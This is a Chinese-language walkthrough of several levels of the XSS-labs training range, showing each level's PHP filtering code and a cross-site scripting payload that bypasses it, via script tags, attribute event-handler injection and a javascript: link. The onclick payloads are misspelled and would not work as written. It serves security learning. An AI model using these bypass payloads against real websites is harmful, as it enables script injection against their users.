XSS漏洞---XSS-labs通关教程

文章目录


Level-1

过滤源码:无

pyload:

name=<script>alert(1)</script>

Level-2

过滤源码:利用转译函数将特殊字符转译为实体字符

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>

htmlspecialchars():将特殊字符"<"或“>"或单引号或双引号转换为 HTML 实体

pyload:利用转义函数仅对get参数生效的特点,利用引号闭合value同时注入点击事件

1” onlick="alert(1)

 Level-3 

过滤源码:利用转译函数将特殊字符转译为实体字符

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>

 pyload:利用htmlspecialchars()函数未设置ENT_QUOTES不会对单引号过滤的特性

1' onlick='alert(1)

 

 Level-5

过滤源码:利用替换函数将get参数替换

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>

pyload:利用href属性中可以执行JS代码的特性绕过防御

1"> <a href="javascript:alert(1)">aaa</a>


总结

相关推荐

  1. <span style='color:red;'>XSS</span>-<span style='color:red;'>Lab</span>

    XSS-Lab

    2024-05-10 21:06:03      46 阅读
  2. 渗透环境安装篇之安装XSS漏洞靶场xss-labs

    2024-05-10 21:06:03       23 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-10 21:06:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-10 21:06:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-05-10 21:06:03       82 阅读
  4. Python语言-面向对象

    2024-05-10 21:06:03       91 阅读

热门阅读

  1. Cocos Creator UlLabel的使用详解

    2024-05-10 21:06:03       33 阅读
  2. fastText-文本分类

    2024-05-10 21:06:03       28 阅读
  3. Android11系统去掉截屏功能

    2024-05-10 21:06:03       27 阅读
  4. 记录下fastadmin

    2024-05-10 21:06:03       26 阅读
  5. easyExcel导出百万数据

    2024-05-10 21:06:03       25 阅读
  6. Vue3实战笔记(05)--- 跨域前后端解决方案

    2024-05-10 21:06:03       28 阅读
  7. 【Leetcode】55- 跳跃游戏

    2024-05-10 21:06:03       38 阅读
  8. LeetCode //C - 81. Search in Rotated Sorted Array II

    2024-05-10 21:06:03       28 阅读
  9. 苹果免签封装的优势和安全风险

    2024-05-10 21:06:03       26 阅读